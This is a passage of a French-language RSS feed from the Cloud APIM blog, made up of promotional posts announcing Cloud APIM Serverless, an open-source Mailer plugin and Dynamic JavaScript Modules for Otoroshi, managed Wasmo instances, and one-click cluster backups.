&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-restez-informé&quot;&gt;&lt;strong&gt;📡 Restez informé&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Cloud APIM</category><category>API</category><category>APIM</category><category>API management</category><category>Clés d’API</category><category>GitOps</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.s6c9J79m_1E6KFc.jpg" length="0" type="image/jpeg"/></item><item><title>🔥 Libérez toute la puissance de l&apos;API management avec Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/l-api-management-avec-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/l-api-management-avec-cloud-apim-serverless</guid><description>Découvrez Cloud APIM Serverless, notre solution pour déployer et gérer vos API simplement et à grande échelle, sans vous soucier de l&apos;infrastructure.</description><pubDate>Mon, 03 Jun 2024 12:02:10 GMT</pubDate><content:encoded>&lt;p&gt;Dans un paysage technologique qui évolue à toute vitesse, un &lt;strong&gt;API management&lt;/strong&gt; efficace et scalable est crucial pour les entreprises de toutes tailles.&lt;/p&gt;
&lt;p&gt;C’est pourquoi nous sommes ravis de vous présenter &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, notre solution de pointe conçue pour simplifier le déploiement et la gestion de vos API.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; vous débarrasse de la complexité d’une infrastructure traditionnelle et vous laisse vous concentrer sur l’innovation et la croissance.&lt;/p&gt;
&lt;p&gt;Avec des fonctionnalités comme la mise en production rapide, une sécurité robuste et des analytics sur vos API, notre plateforme permet aux développeurs, aux startups, aux PME comme aux grandes entreprises de gérer efficacement leurs API et de faire décoller leur activité.&lt;/p&gt;
&lt;h2 id=&quot;-pourquoi-utiliser-cloud-apim-serverless-&quot;&gt;&lt;strong&gt;🤔 Pourquoi utiliser Cloud APIM Serverless ?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Les solutions d’API management traditionnelles impliquent souvent de gérer des serveurs, de provisionner des ressources et de relever des défis de scalabilité.&lt;/p&gt;
&lt;p&gt;Avec notre &lt;strong&gt;offre Serverless&lt;/strong&gt;, dites adieu aux casse-têtes d’infrastructure et bonjour à une expérience fluide et serverless.&lt;/p&gt;
&lt;p&gt;Notre produit tire parti de la puissance des architectures serverless : plus besoin de gérer des serveurs à la main (pas même ceux de notre propre service d’&lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;instances Otoroshi managées&lt;/a&gt; 😉), et vous pouvez vous concentrer sur l’innovation plutôt que sur la maintenance de l’infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;-principales-fonctionnalités-et-avantages&quot;&gt;&lt;strong&gt;🌟 Principales fonctionnalités et avantages&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;🚀 Déploiement rapide :&lt;/strong&gt; lancez vos API en quelques minutes, pas en quelques jours. Notre interface intuitive vous permet de déployer et de gérer vos API en quelques clics.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🔧 Piloté par GitOps :&lt;/strong&gt; au cœur de Serverless APIM se trouve une approche de l’API management pilotée par GitOps. En adoptant les principes GitOps, nous permettons aux équipes de gérer la configuration de leurs API, leurs déploiements et leur infrastructure as code via des systèmes de gestion de versions comme Git.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🌐 Environnements de projet :&lt;/strong&gt; les environnements des projets Serverless sont intégrés de façon transparente à la gestion de versions via Git : chaque environnement peut être associé à une branche Git spécifique.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🔒 Sécurité intégrée :&lt;/strong&gt; protégez vos API grâce aux fonctionnalités intégrées d’authentification et d’autorisation. Des clés d’API à OAuth, nous avons tout prévu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📊 Analytics d’API :&lt;/strong&gt; obtenez des informations précieuses sur l’utilisation de vos API, leurs performances et le comportement des utilisateurs grâce à notre tableau de bord d’analytics en temps réel. Prenez des décisions éclairées et optimisez vos API pour un impact maximal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📚 Une documentation pensée pour les développeurs :&lt;/strong&gt; donnez aux développeurs une documentation complète, des exemples de code et des outils interactifs. Favorisez la collaboration et accélérez l’innovation au sein de votre organisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;📜 Intégration OpenAPI :&lt;/strong&gt; gérez facilement les références, les schémas et les composants OpenAPI, pour garantir la cohérence et fluidifier la collaboration sur tous vos projets d’API.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;💰 Monétisation des API :&lt;/strong&gt; avec Serverless APIM, monétiser vos API ne demande aucun effort. Notre plateforme intègre les outils nécessaires pour créer des plans et définir des quotas.&lt;/p&gt;
&lt;h3 id=&quot;-à-qui-sadresse-cette-offre-&quot;&gt;&lt;strong&gt;🌍 À qui s’adresse cette offre ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Que vous soyez une startup qui s’apprête à lancer sa première API ou une grande entreprise qui gère un écosystème d’API complexe, &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; est taillé pour répondre à vos besoins.&lt;/p&gt;
&lt;p&gt;Notre solution souple et scalable s’adapte à vos exigences métier, pour que vous puissiez vous concentrer sur l’essentiel : apporter de la &lt;strong&gt;valeur&lt;/strong&gt; à vos clients.&lt;/p&gt;
&lt;h2 id=&quot;-lancez-vous-dès-maintenant-&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt; !&lt;/h2&gt;
&lt;p&gt;Envie de découvrir l’avenir de l’API management ?&lt;/p&gt;
&lt;p&gt;Nous lançons aujourd’hui la bêta privée de Cloud APIM Serverless. Tout le monde peut y participer : il suffit de 🚀 vous inscrire &lt;strong&gt;dès maintenant&lt;/strong&gt; à la bêta en cliquant &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;sur ce lien&lt;/a&gt; pour constater la différence par vous-même.&lt;/p&gt;
&lt;p&gt;Vous pouvez aussi regarder une courte vidéo d’introduction pour apprendre à créer votre premier endpoint d’API&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/FoaNJD5bYno?si=zfdPMZrebAWP9Ij9&quot;&gt;&lt;/iframe&gt;
&lt;h3 id=&quot;-restez-à-lécoute&quot;&gt;&lt;strong&gt;📡 Restez à l’écoute&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de Cloud APIM Serverless et de l’API management.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à mener à bien leur transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>API management</category><category>Git</category><category>GitHub</category><category>Serverless</category><category>API gateway</category><category>API</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.D1cv1Xdv_6g49q.jpg" length="0" type="image/jpeg"/></item><item><title>Le plugin Mailer pour Otoroshi passe en open source : l&apos;e-mail simplifié</title><link>https://blog.cloud-apim.com/le-plugin-mailer-open-source-pour-otoroshi</link><guid isPermaLink="true">https://blog.cloud-apim.com/le-plugin-mailer-open-source-pour-otoroshi</guid><description>L&apos;e-mail est essentiel à de nombreux services numériques. Cloud APIM publie en open source le plugin Mailer pour Otoroshi.</description><pubDate>Fri, 12 Apr 2024 13:24:57 GMT</pubDate><content:encoded>&lt;p&gt;L’intégration de l’e-mail est un élément essentiel de nombreux services numériques, des notifications transactionnelles aux campagnes marketing. Cloud APIM est ravi d’annoncer la publication en open source d’un nouvel atout de sa suite d’outils : &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-plugin-mailer&quot;&gt;le plugin Mailer pour Otoroshi.&lt;/a&gt; Ce plugin simplifie l’envoi d’e-mails en l’intégrant directement à votre environnement Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;le-mail-en-toute-simplicité&quot;&gt;&lt;strong&gt;L’e-mail, en toute simplicité&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Le plugin Mailer change la façon dont vous envoyez des e-mails avec Otoroshi. En exposant une API REST asynchrone sur n’importe quelle route Otoroshi, il vous permet d’envoyer des e-mails en toute fluidité. Qu’il s’agisse de simples e-mails texte, de contenus HTML riches ou de messages avec pièces jointes, le plugin Mailer s’occupe de tout, sans effort.&lt;/p&gt;
&lt;h3 id=&quot;les-fonctionnalités-en-un-coup-dœil&quot;&gt;&lt;strong&gt;Les fonctionnalités en un coup d’œil&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API d’e-mail asynchrone :&lt;/strong&gt; intégrez l’envoi d’e-mails sans impacter les performances de votre application principale.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Intégration SMTP flexible :&lt;/strong&gt; connectez-vous au serveur SMTP de votre choix et utilisez librement le service d’e-mail qui correspond le mieux à vos besoins.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contenu riche :&lt;/strong&gt; la prise en charge des e-mails texte, HTML et des pièces jointes vous permet d’envoyer des e-mails détaillés et engageants à vos utilisateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Suivi de l’activité :&lt;/strong&gt; les événements Otoroshi intégrés au plugin vous permettent de suivre l’activité d’envoi, pour plus de transparence et un dépannage facilité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;open-source-et-prêt-à-lemploi&quot;&gt;&lt;strong&gt;Open source et prêt à l’emploi&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Conformément à &lt;a href=&quot;https://www.cloud-apim.com/fr/opensource&quot;&gt;notre engagement envers la communauté open source&lt;/a&gt; et à la réussite de nos utilisateurs, le plugin Mailer est entièrement open source. Vous pouvez donc le modifier, l’enrichir et l’adapter à vos besoins spécifiques.&lt;/p&gt;
&lt;h3 id=&quot;pour-commencer&quot;&gt;&lt;strong&gt;Pour commencer&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Le plugin Mailer est disponible dès maintenant et s’intègre facilement à votre instance Otoroshi existante. Rendez-vous sur notre &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-plugin-mailer&quot;&gt;page GitHub&lt;/a&gt; pour télécharger le plugin, consulter les instructions d’installation détaillées et commencer à envoyer des e-mails de façon plus intégrée et plus efficace. Le plugin Mailer est déjà disponible sur vos &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;instances Otoroshi managées par Cloud APIM.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API avec simplicité et efficacité. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et des &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; qui les aident à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>APIM</category><category>E-mail</category><category>SMTP</category><category>API</category><category>Otoroshi</category><category>Open source</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.B5eoITH-_Z1pu1T1.jpg" length="0" type="image/jpeg"/></item><item><title>Dynamic JavaScript Modules passe en open source</title><link>https://blog.cloud-apim.com/dynamic-javascript-modules-passe-en-open-source</link><guid isPermaLink="true">https://blog.cloud-apim.com/dynamic-javascript-modules-passe-en-open-source</guid><description>Cloud APIM publie en open source Dynamic JavaScript Modules : écrivez vos plugins Otoroshi directement en JavaScript, sans étape de compilation.</description><pubDate>Fri, 22 Mar 2024 16:06:55 GMT</pubDate><content:encoded>&lt;p&gt;Chez Cloud APIM, nous repoussons sans cesse les limites pour simplifier et améliorer l’expérience de gestion d’API de nos utilisateurs. Aujourd’hui, nous avons le plaisir d’annoncer le passage en open source d’un projet inédit, qui va révolutionner la façon dont vous créez vos plugins Otoroshi : Dynamic JavaScript Modules.&lt;/p&gt;
&lt;h3 id=&quot;adieu-la-compilation-bonjour-javascript-&quot;&gt;&lt;strong&gt;Adieu la compilation, bonjour JavaScript !&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;L’innovation passe souvent par la simplification. Conscients des obstacles que représente l’étape de compilation dans le développement de plugins WASM, nous avons cherché une alternative qui conserve la flexibilité sans la complexité. Dynamic JavaScript Modules est notre réponse : plus besoin de compiler, vous développez vos plugins Otoroshi directement en JavaScript.&lt;/p&gt;
&lt;h3 id=&quot;toute-la-puissance-de-dynamic-javascript-modules&quot;&gt;&lt;strong&gt;Toute la puissance de Dynamic JavaScript Modules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Avec Dynamic JavaScript Modules, écrire et déployer vos plugins devient d’une simplicité inégalée. Que votre code JavaScript soit local, servi en HTTP/S ou écrit inline, notre nouveau projet open source s’intègre naturellement à votre workflow. Vous pouvez ainsi itérer et déployer vos plugins plus vite, en vous concentrant sur les fonctionnalités plutôt que sur le processus de build.&lt;/p&gt;
&lt;h3 id=&quot;fonctionnalités-clés-&quot;&gt;&lt;strong&gt;Fonctionnalités clés :&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aucune compilation nécessaire :&lt;/strong&gt; lancez-vous directement dans l’écriture de vos plugins en JavaScript, sans passer par de fastidieuses étapes de compilation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hébergement du code flexible :&lt;/strong&gt; que votre code se trouve sur votre serveur, soit disponible en ligne ou directement intégré à votre projet, Dynamic JavaScript Modules s’adapte à votre configuration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ouvert à tous :&lt;/strong&gt; compatible avec n’importe quelle instance Otoroshi, ce projet profite à un large éventail d’utilisateurs, et pas seulement à ceux de Cloud APIM.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;déjà-disponible-sur-cloud-apim&quot;&gt;&lt;strong&gt;Déjà disponible sur Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Pour les utilisateurs de Cloud APIM, accéder à Dynamic JavaScript Modules est on ne peut plus simple. Cette innovation est déjà intégrée à vos instances Otoroshi Cloud APIM, prête à ouvrir de nouvelles perspectives au développement de plugins.&lt;/p&gt;
&lt;h3 id=&quot;rejoignez-le-futur-du-développement-de-plugins&quot;&gt;&lt;strong&gt;Rejoignez le futur du développement de plugins&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;En publiant Dynamic JavaScript Modules en open source, nous invitons les développeurs, les innovateurs et les rêveurs à explorer avec nous de nouveaux horizons dans la gestion d’API. Ce projet n’est pas seulement une preuve de &lt;a href=&quot;https://www.cloud-apim.com/fr/opensource&quot;&gt;notre engagement envers l’open source&lt;/a&gt; : c’est une invitation à collaborer, à innover et à créer des plugins plus dynamiques, plus efficaces et plus simples à utiliser que jamais.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Le passage en open source de Dynamic JavaScript Modules marque une étape importante dans notre démarche de simplification de la gestion d’API. En permettant de développer des plugins en JavaScript sans les contraintes de la compilation, nous ouvrons la voie à une innovation plus rapide et à une expérience développeur plus inclusive. Plongez dès aujourd’hui dans Dynamic JavaScript Modules et commencez à construire l’avenir des plugins d’API avec Cloud APIM.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour la gestion d’API&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>Otoroshi</category><category>Open source</category><category>WASM</category><category>API gateway</category><category>API</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.C1bYXR-f_d8c7q.jpg" length="0" type="image/jpeg"/></item><item><title>Cloud APIM ❤️ WASMO</title><link>https://blog.cloud-apim.com/cloud-apim-aime-wasmo</link><guid isPermaLink="true">https://blog.cloud-apim.com/cloud-apim-aime-wasmo</guid><description>Cloud APIM lance des instances Wasmo managées pour simplifier le développement et le déploiement de plugins WebAssembly (WASM) pour Otoroshi.</description><pubDate>Fri, 08 Mar 2024 16:06:56 GMT</pubDate><content:encoded>&lt;p&gt;Dans un paysage numérique en constante évolution, le besoin de solutions d’API management robustes, scalables et efficaces n’a jamais été aussi fort. &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; a le plaisir d’annoncer un ajout majeur à son offre de services : les &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;instances Wasmo managées&lt;/a&gt;. Cette nouveauté marque une étape importante dans la simplification du développement et du déploiement de plugins WebAssembly (WASM), et répond aux besoins exigeants des applications modernes.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 300px) 300px, 100vw&quot; width=&quot;300&quot; height=&quot;300&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-25df07.kIpRXUCa_52LKE.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-25df07.kIpRXUCa_52LKE.webp 300w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;quest-ce-que-wasmo-&quot;&gt;Qu’est-ce que Wasmo ?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/wasmo/&quot;&gt;Wasmo&lt;/a&gt; est un &lt;a href=&quot;https://github.com/maif/wasmo&quot;&gt;projet open source&lt;/a&gt; innovant, conçu pour faciliter la vie des développeurs en simplifiant la création de modules WASM. C’est un éditeur de code en ligne capable de compiler et de builder des modules WASM, et d’en gérer le cycle de vie. Mais Wasmo est bien plus qu’un simple outil de compilation : il fait aussi office de dépôt de binaires et héberge plusieurs versions des modules WASM construits. Ces modules s’intègrent naturellement au système de plugins d’Otoroshi, ce qui apporte une flexibilité et une puissance inégalées à votre stratégie d’API management.&lt;/p&gt;
&lt;h3 id=&quot;la-difficulté-de-construire-des-modules-wasm&quot;&gt;La difficulté de construire des modules WASM&lt;/h3&gt;
&lt;p&gt;Construire des modules WASM a longtemps été un processus complexe, qui exigeait des environnements spécialisés et une configuration délicate. Les contraintes propres au développement, à la compilation et au déploiement de ces modules freinaient fortement leur adoption, et limitaient leur usage pour enrichir des solutions d’API management comme Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;les-instances-wasmo-managées-de-cloud-apim--la-solution&quot;&gt;Les instances Wasmo managées de Cloud APIM : la solution&lt;/h3&gt;
&lt;p&gt;Face à ces difficultés, Cloud APIM propose désormais des instances managées qui simplifient l’ensemble du processus de développement. Les développeurs peuvent maintenant utiliser l’interface intuitive de Wasmo directement depuis Cloud APIM et profiter de fonctionnalités comme :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Un éditeur de code en ligne simple d’utilisation pour écrire et modifier le code de vos modules WASM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La compilation et le build à la volée des modules WASM, sans configuration locale compliquée.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un dépôt de binaires pour versionner et distribuer les modules WASM, qui facilite leur intégration et leur déploiement.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;le tout sans jamais avoir à vous soucier de la mise à jour ni de la gestion de votre instance.&lt;/p&gt;
&lt;h3 id=&quot;otoroshi-gagne-en-puissance-avec-wasm&quot;&gt;Otoroshi gagne en puissance avec WASM&lt;/h3&gt;
&lt;p&gt;L’intégration des instances Wasmo managées dans l’écosystème Cloud APIM renforce considérablement les capacités d’API management d’Otoroshi. Les développeurs peuvent désormais créer et déployer facilement des plugins sur mesure écrits sous forme de modules WASM, pour des traitements, des filtrages et des transformations avancés des requêtes et des réponses d’API. De nouvelles possibilités s’ouvrent ainsi en matière de personnalisation, de sécurité et d’optimisation des performances au sein du reverse proxy et de la plateforme d’API management Otoroshi. Démarrer avec les instances Wasmo managées sur Cloud APIM est très simple : notre plateforme vous guide pas à pas dans la création d’une instance. Vous pouvez ensuite jeter un œil au &lt;a href=&quot;https://zwiterrion.hashnode.dev/how-to-make-building-wasm-blazingly-easy&quot;&gt;dernier article d’Etienne&lt;/a&gt; pour bien l’utiliser.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 501px) 501px, 100vw&quot; width=&quot;501&quot; height=&quot;490&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-6d3115.BUcYzJ8x_Z1KBEOr.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-6d3115.BUcYzJ8x_Z1KBEOr.webp 501w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Le lancement des &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;instances Wasmo managées par Cloud APIM&lt;/a&gt; représente une avancée majeure pour simplifier le développement et le déploiement de modules WASM au service de l’API management. En abaissant les barrières à l’entrée et en proposant une solution puissante et intégrée, nous avons hâte de voir comment les développeurs s’empareront de cette technologie pour innover et enrichir leur stratégie d’API. Lancez-vous dès aujourd’hui et exploitez tout le potentiel de vos API avec les instances Wasmo managées de Cloud APIM.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;à-propos-de-cloud-apim&quot;&gt;À propos de Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à mener à bien leur transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>API</category><category>APIM</category><category>WASM</category><category>Otoroshi</category><category>API management</category><category>Plugins</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DJQ6ApMJ_ZdoNYx.jpg" length="0" type="image/jpeg"/></item><item><title>Gardez la maîtrise de vos données avec la sauvegarde en un clic de vos clusters Otoroshi sur Cloud APIM</title><link>https://blog.cloud-apim.com/sauvegarde-en-un-clic-de-vos-clusters-otoroshi-sur-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/sauvegarde-en-un-clic-de-vos-clusters-otoroshi-sur-cloud-apim</guid><description>Cloud APIM lance la sauvegarde en un clic de vos clusters Otoroshi : exportez tout leur état depuis le tableau de bord, sans vous connecter à l&apos;instance.</description><pubDate>Mon, 20 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Pour améliorer sans cesse l’expérience utilisateur et votre autonomie sur vos données, Cloud APIM a le plaisir de dévoiler un ajout important à ses fonctionnalités : la sauvegarde en un clic des clusters Otoroshi. Cette nouveauté simplifie la sauvegarde et l’export de l’état de votre Otoroshi, qui deviennent plus accessibles et plus efficaces que jamais.&lt;/p&gt;
&lt;h3 id=&quot;lessentiel-de-la-sauvegarde-en-un-clic&quot;&gt;&lt;strong&gt;L’essentiel de la sauvegarde en un clic&lt;/strong&gt;&lt;/h3&gt;
